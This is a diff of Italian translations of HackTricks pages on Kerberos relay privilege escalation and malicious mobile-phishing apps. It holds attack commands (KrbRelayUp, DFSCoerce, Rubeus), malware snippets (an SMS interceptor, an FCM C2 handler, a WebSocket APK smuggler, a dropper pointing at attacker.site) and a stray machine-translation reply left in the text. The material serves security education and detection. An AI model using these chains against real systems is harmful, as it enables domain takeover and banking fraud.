 .\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
 ```
-`KrbRelayUp` avvolge **KrbRelay → LDAP → RBCD → Rubeus → bypass SCM** in un unico binario.
+`KrbRelayUp` racchiude **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** in un unico binario.
 
-- 3.3 **Costringere l'autenticazione Kerberos**
+- 3.3 **Coerce Kerberos auth**
 ```powershell
 # coerce DC to auth over SMB with DFSCoerce
 .\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
 ```
-DFSCoerce fa sì che il DC ci invii un ticket Kerberos `CIFS/DC01`.
+DFSCoerce fa sì che il DC invii a noi un ticket Kerberos `CIFS/DC01`.
 
-- 3.4 **Ritrasmettere l'AP-REQ**
+- 3.4 **Relay the AP-REQ**
 
-KrbRelay estrae il blob GSS da SMB, lo ripacchetta in un bind LDAP e lo inoltra a `ldap://DC01`—l'autenticazione ha successo perché la **stessa chiave** lo decripta.
+KrbRelay estrae il GSS blob da SMB, lo ricapsula in un LDAP bind e lo inoltra a `ldap://DC01`—l'autenticazione riesce perché la **stessa chiave** lo decifra.
 
-- 3.5 **Abuso di LDAP ➜ RBCD ➜ SYSTEM**
+- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
 ```powershell
 # (auto inside KrbRelayUp) manual for clarity
 New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@@ -183,51 +245,59 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
 Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
 SCMUACBypass.exe
 ```
-You now own **NT AUTHORITY\SYSTEM**.
+Ora possiedi **NT AUTHORITY\SYSTEM**.
 
 
 ### **Altri percorsi da conoscere**
 
-| Vettore | Trucco | Perché è importante |
+| Vector | Trick | Why it matters |
 |--------|-------|----------------|
-| **AuthIP / IPSec** | Server falso invia un **payload GSS-ID** con qualsiasi SPN; il client costruisce un AP-REQ direttamente a te | Funziona anche attraverso sottoreti; credenziali macchina per impostazione predefinita |
-| **DCOM / MSRPC** | Risolutore OXID malevolo costringe il client ad autenticarsi su SPN e porta arbitrari | Priv-esc *locale* puro; elude il firewall |
-| **AD CS Web Enroll** | Inoltra il ticket della macchina a `HTTP/CA` e ottieni un certificato, poi **PKINIT** per coniare TGT | Elude le difese di firma LDAP |
-| **Shadow Credentials** | Scrivi `msDS-KeyCredentialLink`, poi PKINIT con coppia di chiavi contraffatta | Nessun bisogno di aggiungere un account computer |
+| **AuthIP / IPSec** | Server falso invia un payload **GSS-ID** con qualsiasi SPN; il client costruisce un AP-REQ direttamente verso di te | Funziona anche attraverso subnet; machine creds di default |
+| **DCOM / MSRPC** | Un OXID resolver malevolo forza il client ad autenticarsi su uno SPN e una porta arbitrari | Pure *locale* priv-esc; aggira il firewall |
+| **AD CS Web Enroll** | Relay del ticket della macchina a `HTTP/CA` per ottenere un cert, poi **PKINIT** per mintare TGT | Bypassa le difese di LDAP signing |
+| **Shadow Credentials** | Scrivi `msDS-KeyCredentialLink`, poi PKINIT con coppia di chiavi contraffatta | Non è necessario aggiungere un account computer |
 
-### **Risoluzione dei problemi**
+### **Risoluzione problemi**
 
-| Errore | Significato | Correzione |
+| Error | Meaning | Fix |
 |-------|---------|-----|
-| `KRB_AP_ERR_MODIFIED` | Chiave del ticket ≠ chiave di destinazione | Host/SPN errato |
-| `KRB_AP_ERR_SKEW` | Orologio > 5 min di offset | Sincronizza l'ora o usa `w32tm` |
-| Il bind LDAP fallisce | Firma forzata | Usa il percorso AD CS o disabilita la firma |
-| Spam Evento 4649 | Il servizio ha visto un Autenticatore duplicato | blocca o gareggia con il pacchetto originale |
+| `KRB_AP_ERR_MODIFIED` | La chiave del ticket ≠ chiave del target | Host/SPN errato |
+| `KRB_AP_ERR_SKEW` | Orologio con offset > 5 min | Sincronizza l'orologio o usa `w32tm` |
+| LDAP bind fails | Firma (signing) imposta | Usa il percorso AD CS o disabilita la signing |
+| Event 4649 spam | Il servizio ha visto un Authenticator duplicato | Blocca o gareggia (race) col pacchetto originale |
 
 
 ### **Rilevamento**
 
-* Aumento in **Evento 4769** per `CIFS/`, `HTTP/`, `LDAP/` dalla stessa fonte in pochi secondi.
-* **Evento 4649** sul servizio indica replay rilevato.
-* Accesso Kerberos da **127.0.0.1** (inoltro a SCM locale) è altamente sospetto—mappa tramite regola Sigma nella documentazione di KrbRelayUp.
-* Osserva le modifiche agli attributi `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`.
+* Aumento di **Event 4769** per `CIFS/`, `HTTP/`, `LDAP/` dalla stessa sorgente in pochi secondi.
+* **Event 4649** sul servizio indica replay rilevato.
+* Accesso Kerberos da **127.0.0.1** (relay a SCM locale) è altamente sospetto — mappalo tramite la regola Sigma nei documenti KrbRelayUp.
+* Monitora le modifiche agli attributi `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`.
 
-## **Rinforzo**
+## **Rafforzamento**
 
-1. **Forza la firma LDAP e SMB + EPA** su ogni server.
-2. **Dividi gli SPN** in modo che HTTP non sia sullo stesso account di CIFS/LDAP.
-3. Patching dei vettori di coercizione (PetitPotam KB5005413, DFS, AuthIP).
-4. Imposta **`ms-DS-MachineAccountQuota = 0`** per fermare le unioni di computer non autorizzati.
-5. Allerta su **Evento 4649** e accessi Kerberos loopback inaspettati.
+1. **Enforce LDAP & SMB signing + EPA** su ogni server.
+2. **Split SPNs** in modo che HTTP non sia sullo stesso account di CIFS/LDAP.
+3. Patchare i vettori di coercizione (PetitPotam KB5005413, DFS, AuthIP).
+4. Imposta **`ms-DS-MachineAccountQuota = 0`** per fermare i join di computer non autorizzati.
+5. Allerta su **Event 4649** e accessi Kerberos di loopback inattesi.
 
 
 
-## Riferimenti
+## References
 
 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
 - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
 - [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
 - [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
+- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
+- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
+- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
+- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
+- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
+- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
+- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
+- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md

@@ -3,7 +3,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!INFO]
-> Questa pagina copre le tecniche usate dagli threat actor per distribuire **malicious Android APKs** e **iOS mobile-configuration profiles** tramite phishing (SEO, social engineering, fake stores, dating apps, ecc.).
+> Questa pagina tratta le tecniche usate da threat actors per distribuire **malicious Android APKs** e **iOS mobile-configuration profiles** tramite phishing (SEO, social engineering, fake stores, dating apps, ecc.).
 > Il materiale è adattato dalla campagna SarangTrap esposta da Zimperium zLabs (2025) e da altre ricerche pubbliche.
 
 ## Attack Flow
@@ -11,55 +11,55 @@
 1. **SEO/Phishing Infrastructure**
 * Registrare dozzine di domini look-alike (dating, cloud share, car service…).
 – Usare parole chiave nella lingua locale ed emoji nell'elemento `<title>` per posizionarsi su Google.
-– Ospitare *sia* le istruzioni di installazione Android (`.apk`) sia quelle iOS sulla stessa landing page.
+– Ospitare *sia* istruzioni di installazione Android (`.apk`) che iOS sulla stessa landing page.
 2. **First Stage Download**
-* Android: link diretto a un APK *unsigned* o da “third-party store”.
+* Android: link diretto a un APK *unsigned* o “third-party store”.
 * iOS: `itms-services://` o link HTTPS semplice a un **mobileconfig** profile malevolo (vedi sotto).
 3. **Post-install Social Engineering**
-* Al primo avvio l'app richiede un **invitation / verification code** (illusione di accesso esclusivo).
-* Il codice viene **POSTato over HTTP** al Command-and-Control (C2).
-* Il C2 risponde `{"success":true}` ➜ il malware continua.
-* Sandbox / AV dynamic analysis che non inviano mai un codice valido non vedono **comportamento maligno** (evasion).
+* Alla prima esecuzione l'app richiede un **invitation / verification code** (illusione di accesso esclusivo).
+* Il codice viene **POSTed over HTTP** al Command-and-Control (C2).
+* C2 risponde `{"success":true}` ➜ il malware continua.
+* Analisi dinamica Sandbox / AV che non invia mai un codice valido non vede **comportamento malevolo** (evasione).
 4. **Runtime Permission Abuse** (Android)
-* Le permission pericolose sono richieste solo **dopo una risposta positiva del C2**:
+* Permessi dangerous sono richiesti solo **dopo la risposta positiva del C2**:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- Older builds also asked for SMS permissions -->
 ```
-* Varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso Java/Kotlin che legge gli SMS via reflection ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi dove la permission è concessa tramite `AppOps` abuse o su target vecchi.
+* Varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso Java/Kotlin che legge gli SMS via reflection ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi che concedono il permesso tramite abuso di `AppOps` o target datati.
 5. **Facade UI & Background Collection**
-* L'app mostra view innocue (SMS viewer, gallery picker) implementate localmente.
+* L'app mostra viste innocue (SMS viewer, gallery picker) implementate localmente.
 * Nel frattempo esfiltra:
 - IMEI / IMSI, numero di telefono
-- Dump completo di `ContactsContract` (array JSON)
-- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre la dimensione
-- SMS opzionali (`content://sms`)
-I payload vengono **batch-zippati** e inviati via `HTTP POST /upload.php`.
+- dump completo di `ContactsContract` (array JSON)
+- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre le dimensioni
+- Eventuale contenuto SMS (`content://sms`)
+I payload vengono **batch-zipped** e inviati tramite `HTTP POST /upload.php`.
 6. **iOS Delivery Technique**
-* Un singolo **mobile-configuration profile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, ecc. per iscrivere il dispositivo in una supervisione tipo “MDM”.
+* Un singolo **mobile-configuration profile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ecc. per enrollare il dispositivo in una supervisione simile a “MDM”.
 * Istruzioni di social-engineering:
 1. Apri Impostazioni ➜ *Profile downloaded*.
-2. Tocca *Install* tre volte (screenshot sulla pagina di phishing).
-3. Trust il profilo non firmato ➜ l'attaccante ottiene i privilegi su *Contacts* & *Photo* senza revisione App Store.
+2. Tocca *Install* tre volte (screenshot nella pagina di phishing).
+3. Trust the unsigned profile ➜ l'attaccante ottiene l'entitlement *Contacts* & *Photo* senza revisione App Store.
 7. **Network Layer**
-* Plain HTTP, spesso su porta 80 con HOST header tipo `api.<phishingdomain>.com`.
+* HTTP plain, spesso sulla porta 80 con HOST header tipo `api.<phishingdomain>.com`.
 * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → facile da individuare).
 
 ## Defensive Testing / Red-Team Tips
 
-* **Dynamic Analysis Bypass** – Durante l'analisi del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo maligno.
-* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con le `PackageManager#getRequestedPermissions()` a runtime; permessi pericolosi mancanti sono un red flag.
-* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare raffiche di POST sospette dopo l'inserimento del codice.
-* **mobileconfig Inspection** – Usare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare entitlements eccessivi.
+* **Dynamic Analysis Bypass** – Durante la valutazione malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il branch malevolo.
+* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con il runtime `PackageManager#getRequestedPermissions()`; permessi dangerous mancanti sono un flag rosso.
+* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare raffiche sospette di POST dopo l'inserimento del codice.
+* **mobileconfig Inspection** – Usare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare entitlement eccessivi.
 
 ## Blue-Team Detection Ideas
 
-* **Certificate Transparency / DNS Analytics** per catturare esplosioni improvvise di domini ricchi di parole chiave.
-* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik fuori dal Play Store.
-* **Invite-code Telemetry** – POST di codici numerici di 6–8 cifre poco dopo l'installazione dell'APK può indicare staging.
-* **MobileConfig Signing** – Bloccare i configuration profile non firmati tramite policy MDM.
+* **Certificate Transparency / DNS Analytics** per catturare burst improvvisi di domini ricchi di keyword.
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik fuori dal Google Play.
+* **Invite-code Telemetry** – POST di codici numerici da 6–8 cifre poco dopo l'installazione dell'APK può indicare staging.
+* **MobileConfig Signing** – Bloccare i configuration profiles unsigned tramite policy MDM.
 
 ## Useful Frida Snippet: Auto-Bypass Invitation Code
 ```python
@@ -80,7 +80,7 @@ return conn;
 };
 });
 ```
-## Indicatori (Generico)
+## Indicatori (Generici)
 ```
 /req/checkCode.php        # invite code validation
 /upload.php               # batched ZIP exfiltration
@@ -90,26 +90,26 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex
 
 ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
 
-This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
+Questo pattern è stato osservato in campagne che sfruttano tematiche sui benefici governativi per rubare credenziali UPI indiane e OTP. Gli operatori concatenano piattaforme affidabili per la distribuzione e la resilienza.
 
-### Catena di consegna attraverso piattaforme affidabili
-- YouTube video lure → description contains a short link
-- Shortlink → GitHub Pages phishing site imitating the legit portal
-- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
-- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)
+### Delivery chain across trusted platforms
+- YouTube video lure → la descrizione contiene un short link
+- Shortlink → sito di phishing su GitHub Pages che imita il portale legittimo
+- Lo stesso repo GitHub ospita un APK con un falso badge “Google Play” che punta direttamente al file
+- Pagine di phishing dinamiche ospitate su Replit; il canale di comando remoto utilizza Firebase Cloud Messaging (FCM)
 
-### Dropper con payload incorporato e installazione offline
-- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
-- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.
+### Dropper with embedded payload and offline install
+- Il primo APK è un installer (dropper) che contiene il malware reale in `assets/app.apk` e invita l'utente a disabilitare Wi‑Fi/dati mobili per attenuare il rilevamento cloud.
+- L'embedded payload si installa con un'etichetta innocua (ad es., “Aggiornamento Sicuro”). Dopo l'installazione, sia l'installer che il payload sono presenti come app separate.
 
-Suggerimento per il triage statico (grep for embedded payloads):
+Suggerimento per triage statico (grep for embedded payloads):
 ```bash
 unzip -l sample.apk | grep -i "assets/app.apk"
 # Or:
 zipgrep -i "classes|.apk" sample.apk | head
 ```
 ### Scoperta dinamica degli endpoint tramite shortlink
-- Malware recupera da uno shortlink una lista in plain-text separata da virgole di endpoint attivi; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing.
+- Malware recupera una lista in testo in chiaro, separata da virgole, di endpoint attivi da un shortlink; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing.
 
 Esempio (sanitizzato):
 ```
@@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
 String smsPost = parts[1];
 String credsPost = upiPage.replace("gate.htm", "addup.php");
 ```
-### Raccolta delle credenziali UPI tramite WebView
-- Il passaggio “Make payment of ₹1 / UPI‑Lite” carica un form HTML dell'attaccante dall'endpoint dinamico all'interno di una WebView e cattura campi sensibili (telefono, banca, UPI PIN) che vengono inviati con `POST` a `addup.php`.
+### WebView-based UPI credential harvesting
+- Lo step “Make payment of ₹1 / UPI‑Lite” carica un modulo HTML dell'attaccante dall'endpoint dinamico dentro un WebView e cattura campi sensibili (telefono, banca, UPI PIN) che vengono `POST`ati a `addup.php`.
 
 Loader minimale:
 ```java
@@ -136,7 +136,7 @@ WebView wv = findViewById(R.id.web);
 wv.getSettings().setJavaScriptEnabled(true);
 wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 ```
-### Self-propagation and SMS/OTP interception
+### Auto-propagazione e intercettazione SMS/OTP
 - Vengono richiesti permessi aggressivi al primo avvio:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
@@ -144,8 +144,8 @@ wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>
 ```
-- I contatti vengono ciclati per inviare in massa smishing SMS dal dispositivo della vittima.
-- Gli SMS in arrivo vengono intercettati da un broadcast receiver e caricati con metadata (mittente, corpo, slot SIM, ID casuale per dispositivo) su `/addsm.php`.
+- I contatti vengono ripetuti per inviare in massa smishing SMS dal dispositivo della vittima.
+- Gli SMS in arrivo vengono intercettati da un broadcast receiver e caricati con metadata (sender, body, SIM slot, per-device random ID) su `/addsm.php`.
 
 Bozza del receiver:
 ```java
@@ -162,7 +162,7 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 ```
 ### Firebase Cloud Messaging (FCM) come C2 resiliente
-- Il payload si registra a FCM; i messaggi push contengono un campo `_type` usato come switch per attivare azioni (ad es., aggiornare i template di testo per phishing, attivare/disattivare comportamenti).
+- Il payload si registra su FCM; i messaggi push contengono un campo `_type` usato come switch per attivare azioni (es., aggiornare template di testo di phishing, abilitare/disabilitare comportamenti).
 
 Esempio di payload FCM:
 ```json
@@ -174,7 +174,7 @@ Esempio di payload FCM:
 }
 }
 ```
-Bozza Handler:
+Bozza dell'Handler:
 ```java
 @Override
 public void onMessageReceived(RemoteMessage msg){
@@ -186,30 +186,71 @@ case "smish": sendSmishToContacts(); break;
 }
 }
 ```
-### Pattern di hunting e IOCs
-- APK contiene un payload secondario in `assets/app.apk`
+### Pattern di rilevamento e IOC
+- L'APK contiene un payload secondario in `assets/app.apk`
 - WebView carica il pagamento da `gate.htm` ed esfiltra verso `/addup.php`
 - Esfiltrazione SMS verso `/addsm.php`
-- Fetch di configurazione guidato da shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV
-- App etichettate genericamente “Update/Secure Update”
+- Recupero della config guidato da shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV
+- App etichettate genericamente come “Update/Secure Update”
 - Messaggi FCM `data` con un discriminatore `_type` in app non attendibili
 
 ### Idee per rilevamento e difesa
-- Segnalare app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi eseguono il side-load di un secondo APK da `assets/`.
-- Generare allarme sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView.
-- Monitoraggio dell'egress per `POST /addup.php|/addsm.php` su host non aziendali; bloccare infrastrutture note.
-- Regole Mobile EDR: app non attendibili che si registrano per FCM e fanno branching su un campo `_type`.
+- Segnala app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi eseguono il side-load di un secondo APK da `assets/`.
+- Allerta sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView.
+- Monitoraggio egress per `POST /addup.php|/addsm.php` su host non corporate; bloccare infrastrutture note.
+- Regole Mobile EDR: app non attendibile che si registra a FCM e si ramifica in base al campo `_type`.
 
 ---
 
-## Abuso di Android Accessibility/Overlay & Device Admin, automazione ATS e orchestrazione relay NFC – studio del caso RatOn
+## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
 
-La campagna RatOn banker/RAT (ThreatFabric) è un esempio concreto di come le moderne operazioni di mobile phishing combinino WebView droppers, automazione UI guidata da Accessibility, overlays/ransom, coercizione Device Admin, Automated Transfer System (ATS), crypto wallet takeover e persino orchestrazione relay NFC. Questa sezione astrae le tecniche riutilizzabili.
+Attackers increasingly replace static APK links with a Socket.IO/WebSocket channel embedded in Google Play–looking lures. This conceals the payload URL, bypasses URL/extension filters, and preserves a realistic install UX.
 
-### Fase-1: WebView → ponte di installazione nativa (dropper)
-Gli attaccanti presentano una WebView che punta a una pagina dell'attaccante e iniettano un'interfaccia JavaScript che espone un installer nativo. Un tap su un bottone HTML richiama codice nativo che installa un APK di second stage incluso negli assets del dropper e poi lo avvia direttamente.
+Tipico flusso client osservato sul campo:
+```javascript
+// Open Socket.IO channel and request payload
+const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
+socket.emit("startDownload", { app: "com.example.app" });
 
-Schema minimo:
+// Accumulate binary chunks and drive fake Play progress UI
+const chunks = [];
+socket.on("chunk", (chunk) => chunks.push(chunk));
+socket.on("downloadProgress", (p) => updateProgressBar(p));
+
+// Assemble APK client‑side and trigger browser save dialog
+socket.on("downloadComplete", () => {
+const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
+const url = URL.createObjectURL(blob);
+const a = document.createElement("a");
+a.href = url; a.download = "app.apk"; a.style.display = "none";
+document.body.appendChild(a); a.click();
+});
+```
+Perché elude controlli semplici:
+- Nessun URL APK statico è esposto; il payload viene ricostruito in memoria dai frame WebSocket.
+- I filtri URL/MIME/estensione che bloccano risposte .apk dirette possono non rilevare dati binari incapsulati tramite WebSockets/Socket.IO.
+- I crawler e le sandbox URL che non eseguono WebSockets non recupereranno il payload.
+
+Idee per hunting e detection:
+- Web/network telemetry: segnalare sessioni WebSocket che trasferiscono grandi chunk binari seguite dalla creazione di un Blob con MIME application/vnd.android.package-archive e da un click programmato su `<a download>`. Cercare stringhe client come socket.emit('startDownload'), ed eventi chiamati chunk, downloadProgress, downloadComplete negli script di pagina.
+- Play-store spoof heuristics: su domini non Google che servono pagine simili a Play, cercare stringhe UI di Google Play come http.html:"VfPpkd-jY41G-V67aGc", template in lingue miste e flussi falsi di “verification/progress” pilotati da eventi WS.
+- Controls: bloccare la consegna di APK da origini non Google; applicare politiche MIME/estensione che includano il traffico WebSocket; preservare i prompt di download sicuro del browser.
+
+See also WebSocket tradecraft and tooling:
+
+{{#ref}}
+../../pentesting-web/websocket-attacks.md
+{{#endref}}
+
+
+## Abusi Android Accessibility/Overlay & Device Admin, automazione ATS e orchestrazione relay NFC – caso di studio RatOn
+
+La campagna RatOn banker/RAT (ThreatFabric) è un esempio concreto di come le operazioni moderne di mobile phishing combinino WebView droppers, automazione UI guidata da Accessibility, overlay/ransom, coercizione tramite Device Admin, Automated Transfer System (ATS), takeover di crypto wallet e persino orchestrazione relay NFC. Questa sezione astrae le tecniche riutilizzabili.
+
+### Stage-1: WebView → native install bridge (dropper)
+Attaccanti presentano una WebView che punta a una pagina dell'attaccante e iniettano un'interfaccia JavaScript che espone un installer nativo. Un tap su un bottone HTML invoca codice nativo che installa un APK di seconda fase incluso negli assets del dropper e lo lancia direttamente.
+
+Pattern minimo:
 ```java
 public class DropperActivity extends Activity {
 @Override protected void onCreate(Bundle b){
@@ -238,9 +279,9 @@ wv.loadUrl("https://attacker.site/install.html");
 }
 }
 ```
-Non vedo alcun contenuto. Per favore incolla l'HTML (o il testo/markdown) della pagina che vuoi tradurre. 
+Non hai incollato l'HTML o il contenuto da tradurre. Per favore fornisci il testo HTML/Markdown (o indica la sezione specifica del file) che vuoi tradurre in italiano.
 
-Nota: manterrò intatti tag, link, percorsi e codice (non verranno tradotti) e restituirò solo la traduzione del testo rilevante in italiano, conservando tutta la sintassi markdown/html.
+Nota: seguirò le regole indicate — non tradurrò codice, nomi di tecniche, parole comuni di hacking, nomi di piattaforme cloud/SaaS, link, percorsi o tag/marker come {#ref}, {#include}, ecc.
 ```html
 <button onclick="bridge.installApk()">Install</button>
 ```
@@ -250,13 +291,13 @@ Intent i = new Intent();
 i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
 startActivity(i);
 ```
-Idea per il rilevamento: app non attendibili che chiamano `addJavascriptInterface()` ed espongono metodi simili a quelli di un installer a WebView; APK che contiene un payload secondario incorporato in `assets/` e invoca la Package Installer Session API.
+Idea per l'hunting: app non attendibili che chiamano `addJavascriptInterface()` e espongono a WebView metodi simili a quelli di un installer; APK che include un payload secondario incorporato in `assets/` e invoca la Package Installer Session API.
 
-### Flusso di consenso: Accessibility + Device Admin + richieste runtime successive
-Stage-2 apre una WebView che ospita una pagina “Access”. Il suo pulsante invoca un metodo esportato che porta la vittima nelle impostazioni Accessibility e richiede l'abilitazione del servizio malevolo. Una volta concesso, il malware usa Accessibility per cliccare automaticamente attraverso i successivi dialog di autorizzazione runtime (contatti, overlay, manage system settings, ecc.) e richiede Device Admin.
+### Funnel di consenso: Accessibility + Device Admin + richieste runtime successive
+Stage-2 apre una WebView che ospita una pagina “Accesso”. Il suo pulsante invoca un metodo esportato che porta la vittima nelle impostazioni Accessibility e richiede l'abilitazione del servizio malevolo. Una volta concessa, il malware usa Accessibility per cliccare automaticamente attraverso i successivi dialoghi di permesso runtime (contatti, overlay, gestione impostazioni di sistema, ecc.) e richiede Device Admin.
 
-- Accessibility aiuta in modo programmatico ad accettare i prompt successivi trovando pulsanti come “Allow”/“OK” nell'albero dei nodi e simulando clic.
-- Controllo/richiesta permesso overlay:
+- Accessibility programmaticamente aiuta ad accettare i prompt successivi trovando pulsanti come “Consenti”/“OK” nell'albero dei nodi e inviando click.
+- Verifica/richiesta del permesso overlay:
 ```java
 if (!Settings.canDrawOverlays(ctx)) {
 Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
@@ -270,19 +311,19 @@ Vedi anche:
 ../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
 {{#endref}}
 
-### Overlay phishing/ransom via WebView
+### Phishing/ricatto con overlay via WebView
 Gli operatori possono inviare comandi per:
-- rendere un overlay a schermo intero da un URL, oppure
+- renderizzare un overlay a schermo intero da un URL, oppure
 - passare HTML inline che viene caricato in un overlay WebView.
 
 Usi probabili: coercizione (inserimento PIN), apertura del wallet per catturare i PIN, messaggi di riscatto. Tenere un comando per assicurarsi che il permesso per l'overlay sia concesso se mancante.
 
-### Remote control model – text pseudo-screen + screen-cast
-- Low-bandwidth: eseguire periodicamente il dump dell'albero dei nodi Accessibility, serializzare i testi/ruoli/bounds visibili e inviarli al C2 come pseudo-schermo (comandi come `txt_screen` una tantum e `screen_live` continuo).
-- High-fidelity: richiedere MediaProjection e avviare lo screen-casting/registrazione su richiesta (comandi come `display` / `record`).
+### Modello di controllo remoto – pseudo-schermo testuale + screen-cast
+- Bassa larghezza di banda: periodicamente dumpare l'albero dei nodi Accessibility, serializzare testi/ruoli/bounds visibili e inviarli al C2 come pseudo-schermo (comandi come `txt_screen` una tantum e `screen_live` continuo).
+- Alta fedeltà: richiedere MediaProjection e avviare lo screen-casting/recording su richiesta (comandi come `display` / `record`).
 
-### ATS playbook (bank app automation)
-Dato un task JSON, aprire l'app bancaria, pilotare l'UI via Accessibility con una combinazione di query testuali e tap per coordinate, e inserire il PIN di pagamento della vittima quando richiesto.
+### Playbook ATS (automazione di app bancarie)
+Dato un task in JSON, aprire l'app bancaria, guidare la UI via Accessibility con un mix di query testuali e tap su coordinate, e inserire il PIN di pagamento della vittima quando richiesto.
 
 Esempio di task:
 ```json
@@ -294,11 +335,11 @@ Esempio di task:
 "name": "ACME"
 }
 ```
-Esempi di testi visti in un flusso target (CZ → EN):
+Example texts seen in one target flow (CZ → EN):
 - "Nová platba" → "Nuovo pagamento"
 - "Zadat platbu" → "Inserisci pagamento"
 - "Nový příjemce" → "Nuovo beneficiario"
-- "Domácí číslo účtu" → "Numero di conto nazionale"
+- "Domácí číslo účtu" → "Numero di conto domestico"
 - "Další" → "Avanti"
 - "Odeslat" → "Invia"
 - "Ano, pokračovat" → "Sì, continua"
@@ -307,17 +348,17 @@ Esempi di testi visti in un flusso target (CZ → EN):
 
 Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
 
